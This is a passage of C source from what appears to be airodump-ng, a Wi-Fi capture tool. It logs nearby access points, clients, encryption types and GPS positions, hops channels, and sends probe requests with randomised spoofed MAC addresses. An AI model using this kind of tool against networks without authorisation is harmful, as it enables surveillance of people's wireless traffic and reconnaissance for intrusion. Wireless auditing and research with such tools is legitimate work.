"\t\t\t<avg-lat>%.6f</avg-lat>\n" "\t\t\t<avg-lon>%.6f</avg-lon>\n" "\t\t\t<avg-alt>%.6f</avg-alt>\n" "\t\t</gps-info>\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t\t<cdp-device></cdp-device>\n" "\t\t\t<cdp-portid></cdp-portid>\n"); fprintf(G.f_kis_xml, "\t\t</wireless-client>\n" ); /* Next client */ st_cur = st_cur->next; } /* SNR information */ average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power; fprintf(G.f_kis_xml, "\t\t<snr-info>\n" "\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n" "\t\t\t<last_noise_dbm>0</last_noise_dbm>\n" "\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n" "\t\t\t<last_noise_rssi>0</last_noise_rssi>\n" "\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n" "\t\t\t<min_noise_dbm>0</min_noise_dbm>\n" "\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n" "\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n" "\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n" "\t\t\t<max_noise_dbm>0</max_noise_dbm>\n" "\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n" "\t\t\t<max_noise_rssi>0</max_noise_rssi>\n" "\t\t</snr-info>\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t<gps-info>\n" "\t\t\t<min-lat>%.6f</min-lat>\n" "\t\t\t<min-lon>%.6f</min-lon>\n" "\t\t\t<min-alt>%.6f</min-alt>\n" "\t\t\t<min-spd>%.6f</min-spd>\n" "\t\t\t<max-lat>%.6f</max-lat>\n" "\t\t\t<max-lon>%.6f</max-lon>\n" "\t\t\t<max-alt>%.6f</max-alt>\n" "\t\t\t<max-spd>%.6f</max-spd>\n" "\t\t\t<peak-lat>%.6f</peak-lat>\n" "\t\t\t<peak-lon>%.6f</peak-lon>\n" "\t\t\t<peak-alt>%.6f</peak-alt>\n" "\t\t\t<avg-lat>%.6f</avg-lat>\n" "\t\t\t<avg-lon>%.6f</avg-lon>\n" "\t\t\t<avg-alt>%.6f</avg-alt>\n" "\t\t</gps-info>\n", ap_cur->gps_loc_min[0], ap_cur->gps_loc_min[1], ap_cur->gps_loc_min[2], ap_cur->gps_loc_min[3], ap_cur->gps_loc_max[0], ap_cur->gps_loc_max[1], ap_cur->gps_loc_max[2], ap_cur->gps_loc_max[3], ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2], /* Can the "best" be considered as average??? */ ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2] ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n" "\t\t<cdp-device></cdp-device>\n" "\t\t<cdp-portid></cdp-portid>\n"); /* Closing tag for the current wireless network */ fprintf(G.f_kis_xml, "\t</wireless-network>\n"); //-------- End of XML ap_cur = ap_cur->next; } /* Trailing */ fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER ); fflush( G.f_kis_xml ); /* Sometimes there can be crap at the end of the file, so truncating is a good idea. XXX: Is this really correct, I hope fileno() won't have any side effect */ unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) ); return 0; } #undef TIME_STR_LENGTH #define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n" int dump_write_kismet_csv( void ) { int i, k; // struct tm *ltime; /* char ssid_list[512];*/ struct AP_info *ap_cur; if (! G.record_data || !G.output_format_kismet_csv) return 0; fseek( G.f_kis, 0, SEEK_SET ); fprintf( G.f_kis, KISMET_HEADER ); ap_cur = G.ap_1st; k=1; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } //Network fprintf( G.f_kis, "%d;", k ); //NetType fprintf( G.f_kis, "infrastructure;"); //ESSID for(i=0; i<ap_cur->ssid_length; i++) { fprintf( G.f_kis, "%c", ap_cur->essid[i] ); } fprintf( G.f_kis, ";" ); //BSSID fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); //Info fprintf( G.f_kis, ";"); //Channel fprintf( G.f_kis, "%d;", ap_cur->channel); //Cloaked fprintf( G.f_kis, "No;"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis, "WPA," ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis, "WEP," ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis, "OPN," ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,"); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis, "AES-CCM,"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis, "WRAP,"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis, "TKIP,"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis, "WEP40,"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP,");*/ } fseek(G.f_kis, -1, SEEK_CUR); fprintf(G.f_kis, ";"); //Decrypted fprintf( G.f_kis, "No;"); //MaxRate fprintf( G.f_kis, "%d.0;", ap_cur->max_speed ); //MaxSeenRate fprintf( G.f_kis, "0;"); //Beacon fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn); //LLC fprintf( G.f_kis, "0;"); //Data fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Crypt fprintf( G.f_kis, "0;"); //Weak fprintf( G.f_kis, "0;"); //Total fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Carrier fprintf( G.f_kis, ";"); //Encoding fprintf( G.f_kis, ";"); //FirstTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //LastTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //BestQuality fprintf( G.f_kis, "%d;", ap_cur->avg_power ); //BestSignal fprintf( G.f_kis, "0;" ); //BestNoise fprintf( G.f_kis, "0;" ); //GPSMinLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]); //GPSMinLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]); //GPSMinAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]); //GPSMinSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]); //GPSMaxLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]); //GPSMaxLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]); //GPSMaxAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]); //GPSMaxSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]); //GPSBestLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]); //GPSBestLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]); //GPSBestAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]); //DataSize fprintf( G.f_kis, "0;" ); //IPType fprintf( G.f_kis, "0;" ); //IP fprintf( G.f_kis, "%d.%d.%d.%d;", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_kis, "\r\n"); ap_cur = ap_cur->next; k++; } fflush( G.f_kis ); return 0; } void gps_tracker( void ) { ssize_t unused; int gpsd_sock; char line[256], *temp; struct sockaddr_in gpsd_addr; int ret, is_json, pos; fd_set read_fd; struct timeval timeout; /* attempt to connect to localhost, port 2947 */ pos = 0; gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( gpsd_sock < 0 ) { return; } gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons( 2947 ); gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof( gpsd_addr ) ) < 0 ) { return; } // Check if it's GPSd < 2.92 or the new one // 2.92+ immediately send stuff // < 2.92 requires to send PVTAD command FD_ZERO(&read_fd); FD_SET(gpsd_sock, &read_fd); timeout.tv_sec = 1; timeout.tv_usec = 0; is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout); if (is_json) { /* {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} ?WATCH={"json":true}; {"class":"DEVICES","devices":[]} */ // Get the crap and ignore it: {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; is_json = (line[0] == '{'); if (is_json) { // Send ?WATCH={"json":true}; memset( line, 0, sizeof( line ) ); strcpy(line, "?WATCH={\"json\":true};\n"); if( send( gpsd_sock, line, 22, 0 ) != 22 ) return; // Check that we have devices memset(line, 0, sizeof(line)); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; // Stop processing if there is no device if (strncmp(line, "{\"class\":\"DEVICES\",\"devices\":[]}", 32) == 0) { close(gpsd_sock); return; } else { pos = strlen(line); } } } /* loop reading the GPS coordinates */ while( G.do_exit == 0 ) { usleep( 500000 ); memset( G.gps_loc, 0, sizeof( float ) * 5 ); /* read position, speed, heading, altitude */ if (is_json) { // Format definition: http://catb.org/gpsd/gpsd_json.html if (pos == sizeof( line )) { memset(line, 0, sizeof(line)); pos = 0; } // New version, JSON if( recv( gpsd_sock, line + pos, sizeof( line ) - 1, 0 ) <= 0 ) return; // search for TPV class: {"class":"TPV" temp = strstr(line, "{\"class\":\"TPV\""); if (temp == NULL) { continue; } // Make sure the data we have is complete if (strchr(temp, '}') == NULL) { // Move the data at the beginning of the buffer; pos = strlen(temp); if (temp != line) { memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } // Example line: {"class":"TPV","tag":"MID2","device":"/dev/ttyUSB0","time":1350957517.000,"ept":0.005,"lat":46.878936576,"lon":-115.832602964,"alt":1968.382,"track":0.0000,"speed":0.000,"climb":0.000,"mode":3} // Latitude temp = strstr(temp, "\"lat\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[0]); // Longitude temp = strstr(temp, "\"lon\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[1]); // Altitude temp = strstr(temp, "\"alt\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[4]); // Speed temp = strstr(temp, "\"speed\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[2]); // No more heading // Get the next TPV class temp = strstr(temp, "{\"class\":\"TPV\""); if (temp == NULL) { memset( line, 0, sizeof( line ) ); pos = 0; } else { pos = strlen(temp); memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } else { memset( line, 0, sizeof( line ) ); snprintf( line, sizeof( line ) - 1, "PVTAD\r\n" ); if( send( gpsd_sock, line, 7, 0 ) != 7 ) return; memset( line, 0, sizeof( line ) ); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; if( memcmp( line, "GPSD,P=", 7 ) != 0 ) continue; /* make sure the coordinates are present */ if( line[7] == '?' ) continue; ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] ); if( ( temp = strstr( line, "V=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[2] ); /* speed */ if( ( temp = strstr( line, "T=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[3] ); /* heading */ if( ( temp = strstr( line, "A=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[4] ); /* altitude */ } if (G.record_data) fputs( line, G.f_gps ); G.save_gps = 1; if (G.do_exit == 0) { unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 ); kill( getppid(), SIGUSR2 ); } } } void sighandler( int signum) { ssize_t unused; int card=0; signal( signum, sighandler ); if( signum == SIGUSR1 ) { unused = read( G.cd_pipe[0], &card, sizeof(int) ); if(G.freqoption) unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) ); else unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) ); } if( signum == SIGUSR2 ) unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 ); if( signum == SIGINT || signum == SIGTERM ) { reset_term(); alarm( 1 ); G.do_exit = 1; signal( SIGALRM, sighandler ); dprintf( STDOUT_FILENO, "\n" ); } if( signum == SIGSEGV ) { fprintf( stderr, "Caught signal 11 (SIGSEGV). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGALRM ) { dprintf( STDERR_FILENO, "Caught signal 14 (SIGALRM). Please" " contact the author!\33[?25h\n\n" ); _exit( 1 ); } if( signum == SIGCHLD ) wait( NULL ); if( signum == SIGWINCH ) { fprintf( stderr, "\33[2J" ); fflush( stdout ); } } int send_probe_request(struct wif *wi) { int len; unsigned char p[4096], r_smac[6]; memcpy(p, PROBE_REQ, 24); len = 24; p[24] = 0x00; //ESSID Tag Number p[25] = 0x00; //ESSID Tag Length len += 2; memcpy(p+len, RATES, 16); len += 16; r_smac[0] = 0x00; r_smac[1] = rand() & 0xFF; r_smac[2] = rand() & 0xFF; r_smac[3] = rand() & 0xFF; r_smac[4] = rand() & 0xFF; r_smac[5] = rand() & 0xFF; memcpy(p+10, r_smac, 6); if (wi_write(wi, p, len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } int send_probe_requests(struct wif *wi[], int cards) { int i=0; for(i=0; i<cards; i++) { send_probe_request(wi[i]); } return 0; } int getchancount(int valid) { int i=0, chan_count=0; while(G.channels[i]) { i++; if(G.channels[i] != -1) chan_count++; } if(valid) return chan_count; return i; } int getfreqcount(int valid) { int i=0, freq_count=0; while(G.own_frequencies[i]) { i++; if(G.own_frequencies[i] != -1) freq_count++; } if(valid) return freq_count; return i; } void channel_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getchancount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.channels[ch_idx] == G.channel[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.channels[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_channel(wi[card]); G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.channels[ch_idx]; if(wi_set_channel(wi[card], ch ) == 0 ) { G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); if(G.active_scan_sim > 0) send_probe_request(wi[card]); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.channels[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } void frequency_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getfreqcount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.own_frequencies[ch_idx] == G.frequency[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.own_frequencies[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_freq(wi[card]); G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.own_frequencies[ch_idx]; if(wi_set_freq(wi[card], ch ) == 0 ) { G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.own_frequencies[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } int invalid_channel(int chan) { int i=0; do { if (chan == abg_chans[i] && chan != 0 ) return 0; } while (abg_chans[++i]); return 1; } int invalid_frequency(int freq) { int i=0; do { if (freq == frequencies[i] && freq != 0 ) return 0; } while (frequencies[++i]); return 1; } /* parse a string, for example "1,2,3-7,11" */ int getchannels(const char *optarg) { unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0; char *optchan = NULL, *optc; char *token = NULL; int *tmp_channels; //got a NULL pointer? if(optarg == NULL) return -1; chan_remain=chan_max; //create a writable string optc = optchan = (char*) malloc(strlen(optarg)+1); strncpy(optchan, optarg, strlen(optarg)); optchan[strlen(optarg)]='\0'; tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optchan,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') && (token[i] != '-')) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF ) { if(chan_first > chan_last) { free(tmp_channels); free(optc); return -1; } for(i=chan_first; i<=chan_last; i++) { if( (! invalid_channel(i)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=i; chan_remain--; } } } else { free(tmp_channels); free(optc); return -1; } } else { free(tmp_channels); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') ) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d", &chan_cur) != EOF) { if( (! invalid_channel(chan_cur)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=chan_cur; chan_remain--; } } else { free(tmp_channels); free(optc); return -1; } } } G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1)); for(i=0; i<(chan_max - chan_remain); i++) { G.own_channels[i]=tmp_channels[i]; } G.own_channels[i]=0; free(tmp_channels); free(optc); if(i==1) return G.own_channels[0]; if(i==0) return -1; return 0; } /* parse a string, for example "1,2,3-7,11" */ int getfrequencies(const char *optarg) { unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0; char *optfreq = NULL, *optc; char *token = NULL; int *tmp_frequencies; //got a NULL pointer? if(optarg == NULL) return -1; freq_remain=freq_max; //create a writable string optc = optfreq = (char*) malloc(strlen(optarg)+1); strncpy(optfreq, optarg, strlen(optarg)); optfreq[strlen(optarg)]='\0'; tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optfreq,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0' || token[i] > '9') && (token[i] != '-')) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF ) { if(freq_first > freq_last) { free(tmp_frequencies); free(optc); return -1; } for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } else { free(tmp_frequencies); free(optc); return -1; } } else { free(tmp_frequencies); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') ) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d", &freq_cur) != EOF) { if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=freq_cur; freq_remain--; } /* special case "-C 0" means: scan all available frequencies */ if(freq_cur == 0) { freq_first = 1; freq_last = 9999; for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } } else { free(tmp_frequencies); free(optc); return -1; } } } G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1)); for(i=0; i<(freq_max - freq_remain); i++) { G.own_frequencies[i]=tmp_frequencies[i]; } G.own_frequencies[i]=0; free(tmp_frequencies); free(optc); if(i==1) return G.own_frequencies[0]; //exactly 1 frequency given if(i==0) return -1; //error occured return 0; //frequency hopping } int setup_card(char *iface, struct wif **wis) { struct wif *wi; wi = wi_open(iface); if (!wi) return -1; *wis = wi; return 0; } int init_cards(const char* cardstr, char *iface[], struct wif **wi) { char *buffer; char *buf; int if_count=0; int i=0, again=0; buf = buffer = (char*) malloc( sizeof(char) * 1025 ); strncpy( buffer, cardstr, 1025 ); buffer[1024] = '\0'; while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) ) { again=0; for(i=0; i<if_count; i++) { if(strcmp(iface[i], iface[if_count]) == 0) again=1; } if(again) continue; if(setup_card(iface[if_count], &(wi[if_count])) != 0) { free(buf); return -1; } if_count++; } free(buf); return if_count; } #if 0 int get_if_num(const char* cardstr) { char *buffer; int if_count=0; buffer = (char*) malloc(sizeof(char)*1025); if (buffer == NULL) { return -1; } strncpy(buffer, cardstr, 1025); buffer[1024] = '\0'; while( (strsep(&buffer, ",") != NULL) && (if_count < MAX_CARDS) ) { if_count++; } free(buffer) return if_count; } #endif int set_encryption_filter(const char* input) { if(input == NULL) return 1; if(strlen(input) < 3) return 1; if(strcasecmp(input, "opn") == 0) G.f_encrypt |= STD_OPN; if(strcasecmp(input, "wep") == 0) G.f_encrypt |= STD_WEP; if(strcasecmp(input, "wpa") == 0) { G.f_encrypt |= STD_WPA; G.f_encrypt |= STD_WPA2; } if(strcasecmp(input, "wpa1") == 0) G.f_encrypt |= STD_WPA; if(strcasecmp(input, "wpa2") == 0) G.f_encrypt |= STD_WPA2; return 0; } int check_monitor(struct wif *wi[], int *fd_raw, int *fdh, int cards) { int i, monitor; char ifname[64]; for(i=0; i<cards; i++) { monitor = wi_get_monitor(wi[i]); if(monitor != 0) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ %s reset to monitor mode", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname)-1); ifname[sizeof(ifname)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifname); if (!wi[i]) { printf("Can't reopen %s\n", ifname); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > *fdh) *fdh = fd_raw[i]; } } return 0; } int check_channel(struct wif *wi[], int cards) { int i, chan; for(i=0; i<cards; i++) { chan = wi_get_channel(wi[i]); if(G.ignore_negative_one == 1 && chan==-1) return 0; if(G.channel[i] != chan) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ fixed channel %s: %d ", wi_get_ifname(wi[i]), chan); wi_set_channel(wi[i], G.channel[i]); } } return 0; } int check_frequency(struct wif *wi[], int cards) { int i, freq; for(i=0; i<cards; i++) { freq = wi_get_freq(wi[i]); if(freq < 0) continue; if(G.frequency[i] != freq) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ fixed frequency %s: %d ", wi_get_ifname(wi[i]), freq); wi_set_freq(wi[i], G.frequency[i]); } } return 0; } int detect_frequencies(struct wif *wi) { int start_freq = 2192; int end_freq = 2732; int max_freq_num = 2048; //should be enough to keep all available channels int freq=0, i=0; printf("Checking available frequencies, this could take few seconds.\n"); frequencies = (int*) malloc((max_freq_num+1) * sizeof(int)); //field for frequencies supported memset(frequencies, 0, (max_freq_num+1) * sizeof(int)); for(freq=start_freq; freq<=end_freq; freq+=5) { if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } if(freq == 2482) { //special case for chan 14, as its 12MHz away from 13, not 5MHz freq = 2484; if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } freq = 2482; } } //again for 5GHz channels start_freq=4800; end_freq=6000; for(freq=start_freq; freq<=end_freq; freq+=5) { if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } } printf("Done.\n"); return 0; } int array_contains(int *array, int length, int value) { int i; for(i=0;i<length;i++) if(array[i] == value) return 1; return 0; } int rearrange_frequencies() { int *freqs; int count, left, pos; int width, last_used=0; int cur_freq, last_freq, round_done; // int i; width = DEFAULT_CWIDTH; cur_freq=0; count = getfreqcount(0); left = count; pos = 0; freqs = malloc(sizeof(int) * (count + 1)); memset(freqs, 0, sizeof(int) * (count + 1)); round_done = 0; while(left > 0) { // printf("pos: %d\n", pos); last_freq = cur_freq; cur_freq = G.own_frequencies[pos%count]; if(cur_freq == last_used) round_done=1; // printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width); if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) ) { // printf("skip it!\n"); pos++; continue; } if(!array_contains( freqs, count, cur_freq)) { // printf("not in there yet: %d\n", cur_freq); freqs[count - left] = cur_freq; last_used = cur_freq; left--; round_done = 0; } pos++; } memcpy(G.own_frequencies, freqs, count*sizeof(int)); free(freqs); return 0; } int main( int argc, char *argv[] ) { long time_slept, cycle_time, cycle_time2; char * output_format_string; int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused; int fd_raw[MAX_CARDS], arptype[MAX_CARDS]; int ivs_only, found; int valid_channel; int freq [2]; int num_opts = 0; int option = 0; int option_index = 0; char ifnam[64]; int wi_read_failed=0; int n = 0; int output_format_first_time = 1; #ifdef HAVE_PCRE const char *pcreerror; int pcreerroffset; #endif struct AP_info *ap_cur, *ap_prv, *ap_next; struct ST_info *st_cur, *st_next; struct NA_info *na_cur, *na_next; struct oui *oui_cur, *oui_next; struct pcap_pkthdr pkh; time_t tt1, tt2, tt3, start_time; struct wif *wi[MAX_CARDS]; struct rx_info ri; unsigned char tmpbuf[4096]; unsigned char buffer[4096]; unsigned char *h80211; char *iface[MAX_CARDS]; struct timeval tv0; struct timeval tv1; struct timeval tv2; struct timeval tv3; struct timeval tv4; struct tm *lt; /* struct sockaddr_in provis_addr; */ fd_set rfds; static struct option long_options[] = { {"band", 1, 0, 'b'}, {"beacon", 0, 0, 'e'}, {"beacons", 0, 0, 'e'}, {"cswitch", 1, 0, 's'}, {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"essid", 1, 0, 'N'}, {"essid-regex", 1, 0, 'R'}, {"channel", 1, 0, 'c'}, {"gpsd", 0, 0, 'g'}, {"ivs", 0, 0, 'i'}, {"write", 1, 0, 'w'}, {"encrypt", 1, 0, 't'}, {"update", 1, 0, 'u'}, {"berlin", 1, 0, 'B'}, {"help", 0, 0, 'H'}, {"nodecloak",0, 0, 'D'}, {"showack", 0, 0, 'A'}, {"detect-anomaly", 0, 0, 'E'}, {"output-format", 1, 0, 'o'}, {"ignore-negative-one", 0, &G.ignore_negative_one, 1}, {"manufacturer", 0, 0, 'M'}, {"uptime", 0, 0, 'U'}, {0, 0, 0, 0 } }; #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in 